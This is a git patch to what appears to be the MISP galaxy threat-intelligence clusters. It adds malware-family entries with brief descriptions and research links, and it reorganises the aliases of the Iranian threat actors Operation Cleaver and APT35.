LuoYu.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer", + "https://securelist.com/windealer-dealing-on-the-side/105946/", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", + "https://blogs.jpcert.or.jp/en/2021/10/windealer.html", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3aa42316-9f3b-457b-9560-99ccf00a45c1", + "value": "WinDealer" + }, { "description": "", "meta": { @@ -37232,10 +43697,12 @@ "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", "https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/", - "https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", "https://securelist.com/games-are-over/70991/", "https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", "https://github.com/TKCERT/winnti-suricata-lua", "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", @@ -37249,6 +43716,7 @@ "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html", + "https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html", "https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/", "https://securelist.com/apt-trends-report-q3-2020/99204/", "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/", @@ -37267,7 +43735,8 @@ "https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/", "https://docplayer.net/162112338-Don-t-miss-the-forest-for-the-trees-gleaning-hunting-value-from-too-much-intrusion-data.html", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", + "https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html" ], "synonyms": [ "BleDoor", @@ -37297,6 +43766,19 @@ "uuid": "893a1da2-ae35-4877-8cde-3f532543af36", "value": "WinPot" }, + { + "description": "Backdoor used in the EvilPlayout campaign against Iran's State Broadcaster.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.winscreeny", + "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b45a1776-11a8-4ac9-9714-33cb17709166", + "value": "WinScreeny" + }, { "description": "", "meta": { @@ -37316,6 +43798,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", + "https://docs.broadcom.com/doc/waterbug-attack-group", "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf" @@ -37389,6 +43872,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger", + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" ], @@ -37447,6 +43931,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl", + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], "synonyms": [], @@ -37455,6 +43940,23 @@ "uuid": "62fd2b30-55b6-474a-8d72-31e492357d11", "value": "WSCSPL" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink", + "https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf", + "https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/", + "https://twitter.com/darienhuss/status/1453342652682981378" + ], + "synonyms": [ + "FinickyFrogfish" + ], + "type": [] + }, + "uuid": "63fc32b0-3017-418c-b00a-ae20205e9c90", + "value": "Wslink" + }, { "description": "", "meta": { @@ -37473,6 +43975,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", "https://assets.documentcloud.org/documents/3461560/Google-Aquarium-Clean.pdf", "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf", @@ -37564,6 +44067,19 @@ "uuid": "09fd85b1-6fc9-45af-a37e-732b5fc6447b", "value": "Xenon Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer", + "https://twitter.com/3xp0rtblog/status/1473323635469438978" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4e980ff8-20f2-4b3f-bad8-763321932b99", + "value": " X-Files Stealer" + }, { "description": "", "meta": { @@ -37622,6 +44138,23 @@ "uuid": "6aa7047f-7dfa-4a10-b515-853c3795db69", "value": "XP10" }, + { + "description": "Symantec describes this as a decryptor/loader used by Chinese threat actor Antlion in campaigns targeting Taiwan.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html" + ], + "synonyms": [ + "NERAPACK" + ], + "type": [] + }, + "uuid": "f87a348e-fa1f-4c90-8b46-ef382868d043", + "value": "xPack" + }, { "description": "", "meta": { @@ -37819,6 +44352,23 @@ "uuid": "0308eff9-1e8c-434e-b551-40f0ceb7dc0e", "value": "Yakuza" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang", + "https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/", + "https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4bc19ce2-e169-4f9f-aabf-ec7fc6a75d12", + "value": "Yanluowang" + }, { "description": "Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.", "meta": { @@ -37867,7 +44417,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo", - "https://redcanary.com/blog/yellow-cockatoo/" + "https://redcanary.com/blog/yellow-cockatoo/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf" ], "synonyms": [ "Polazer" @@ -37890,6 +44441,20 @@ "uuid": "8d67586f-3390-474b-a81e-8be90833f25f", "value": "Yoddos" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey", + "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-threat-insight-paper-triple-threat-N-Korea-aligned-TA406-steals-scams-spies.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cf9b5867-77db-423d-9bdf-cfc0d24d39c9", + "value": "YoreKey" + }, { "description": "Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.\r\n\r\nPE timestamps suggest that it came into existence in the second half of 2014.\r\n\r\nSome versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).\r\n", "meta": { @@ -37905,16 +44470,48 @@ "uuid": "1cc9d450-88cd-435c-bb74-8410d2d22571", "value": "YoungLotus" }, + { + "description": "According to Trend Micro, this is a ransomware written as a Windows commandline script, with obfuscation applied.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.your_cyanide", + "https://www.trendmicro.com/en_us/research/22/f/yourcyanide-a-cmd-based-ransomware.html" + ], + "synonyms": [ + "GonnaCope", + "Kekpop", + "Kekware" + ], + "type": [] + }, + "uuid": "4a9b8725-2d17-4601-adb4-67de607808d7", + "value": "YourCyanide" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer", + "https://www.intezer.com/blog/research/ytstealer-malware-youtube-cookies/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "302854bd-0e03-422c-8b79-54200c7d02ea", + "value": "YTStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty", - "http://blog.ptsecurity.com/2019/11/studying-donot-team.html", "https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/", - "https://www.secureworks.com/research/threat-profiles/zinc-emerson", + "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/", + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", - "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/" + "https://www.secureworks.com/research/threat-profiles/zinc-emerson", + "http://blog.ptsecurity.com/2019/11/studying-donot-team.html", + "https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf" ], "synonyms": [], "type": [] @@ -37967,10 +44564,12 @@ "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html", "https://research.checkpoint.com/malware-against-the-c-monoculture/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g", + "https://brandefense.io/zebrocy-malware-technical-analysis-report/", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/", "https://securelist.com/zebrocys-multilanguage-malware-salad/90680/", @@ -38053,6 +44652,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeppelin", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin", @@ -38098,7 +44698,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.ibm.com/downloads/cas/OAJ4VZNJ" + "https://www.ibm.com/downloads/cas/OAJ4VZNJ", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" ], "synonyms": [], "type": [] @@ -38166,6 +44767,7 @@ "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", @@ -38306,6 +44908,21 @@ "uuid": "989330e9-52da-4489-888b-686429db3a45", "value": "ZhMimikatz" }, + { + "description": "An information stealer written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.zingo_stealer", + "https://blogs.blackberry.com/en/2022/05/threat-thursday-zingostealer" + ], + "synonyms": [ + "Ginzo" + ], + "type": [] + }, + "uuid": "3984dfa1-45dc-4c19-92ca-3b90b89c8c62", + "value": "ZingoStealer" + }, { "description": "", "meta": { @@ -38342,64 +44959,83 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html", "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", "https://twitter.com/ffforward/status/1324281530026524672", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", "https://twitter.com/VK_Intel/status/1294320579311435776", "https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/", "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/", "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", "https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed", + "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://blogs.quickheal.com/zloader-entailing-different-office-files/", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", "https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.youtube.com/watch?v=mhX-UoaYnOM", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/", "https://johannesbader.ch/blog/the-dga-of-zloader/", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1", "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", - "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", + "https://noticeofpleadings.com/zloader/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf", "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", "https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns", + "https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/", "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", "https://www.youtube.com/watch?v=QBoj6GB79wM", - "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", + "https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt", "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", "https://labs.k7computing.com/?p=22458", "https://blog.alyac.co.kr/3322", "https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit", "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", "https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/", - "https://www.lac.co.jp/lacwatch/people/20201106_002321.html" + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain" ], "synonyms": [ "DELoader", @@ -38424,6 +45060,36 @@ "uuid": "ddccba7e-89f3-4b51-803c-e473ca5623da", "value": "Zlob" }, + { + "description": "Information Stealer used by Void Balaur.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.zstealer", + "https://twitter.com/Arkbird_SOLG/status/1458973883068043264", + "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" + ], + "synonyms": [ + "Z*Stealer" + ], + "type": [] + }, + "uuid": "750c4f21-36b0-45b7-80d5-e6c9fdf5134d", + "value": "ZStealer" + }, + { + "description": "According to ESET, this malware family was active exclusively in Brazil until the middle of 2020. It s identified by its method for obfuscating strings. It creates a function for each character of the alphabet and then concatenates the result of calling the correct functions in sequence.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek", + "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/", + "https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2fde6fa9-6e3f-491f-95f7-107b41efacd8", + "value": "Zumanek" + }, { "description": "", "meta": { @@ -38439,6 +45105,20 @@ "uuid": "36a54d23-39ea-446c-b690-6a899890773d", "value": "ZUpdater" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0a0b04d4-afc7-4135-b71e-1148f965b566", + "value": "Zupdax" + }, { "description": "According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.", "meta": { @@ -38452,6 +45132,7 @@ "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://content.fireeye.com/apt-41/rpt-apt41", + "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://blogs.cisco.com/security/talos/opening-zxshell", @@ -38465,6 +45146,19 @@ "uuid": "23920e3b-246a-4172-bf9b-5e9f90510a15", "value": "ZXShell" }, + { + "description": "Cisco Talos attributes this backdoor with moderate confidence to the Bitter APT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3782b76b-3fe8-41d9-b258-dac25f9699a2", + "value": "ZxxZ" + }, { "description": "", "meta": { @@ -38480,5 +45174,5 @@ "value": "Zyklon" } ], - "version": 11601 + "version": 14927 } From 693eed8d78ec1541ebbaeb995afd89f1559135c1 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Mon, 4 Jul 2022 14:03:36 +0200 Subject: [PATCH 004/167] [threat actor] Break Cleaver aliases into respective entries --- clusters/threat-actor.json | 51 +++++++++++++++++++------------------- 1 file changed, 26 insertions(+), 25 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 0b69ce8..dfe3786 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2107,38 +2107,30 @@ "cfr-type-of-incident": "Espionage", "country": "IR", "refs": [ - "https://www.cfr.org/interactive/cyber-operations/magic-hound", "https://www.secureworks.com/research/the-curious-case-of-mia-ash", - "https://www.cfr.org/interactive/cyber-operations/operation-cleaver", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "\"https://www.cfr.org/interactive/cyber-operations/operation-cleaver", "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing", - "https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf", "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "https://attack.mitre.org/groups/G0059/", "https://attack.mitre.org/groups/G0003/", - "https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/" + "https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/", + "https://www.secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles", + "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten", + "https://www.cfr.org/cyber-operations/operation-cleaver", + "https://securityaffairs.co/wordpress/33682/cyber-crime/ali-baba-apt-middle-east.html", + "https://scadahacker.com/library/Documents/Cyber_Events/Cylance%20-%20Operation%20Cleaver%20Report.pdf" ], "synonyms": [ "Operation Cleaver", + "Op Cleaver", "Tarh Andishan", "Alibaba", - "2889", "TG-2889", - "Threat Group 2889", "Cobalt Gypsy", - "Rocket_Kitten", "Cutting Kitten", - "Group 41", - "Magic Hound", - "APT35", - "APT 35", - "TEMP.Beanie", - "Ghambar", - "G0059", "G0003" ] }, @@ -2185,13 +2177,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", "tags": [ @@ -5867,13 +5852,29 @@ "attribution-confidence": "50", "country": "IR", "refs": [ - "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "https://attack.mitre.org/groups/G0059/", + "https://www.cfr.org/interactive/cyber-operations/magic-hound", + "https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", + "https://www.cfr.org/cyber-operations/apt-35" ], "synonyms": [ "APT 35", - "Newscaster Team" + "Newscaster Team", + "Magic Hound", + "G0059" ] }, + "related": [ + { + "dest-uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], "uuid": 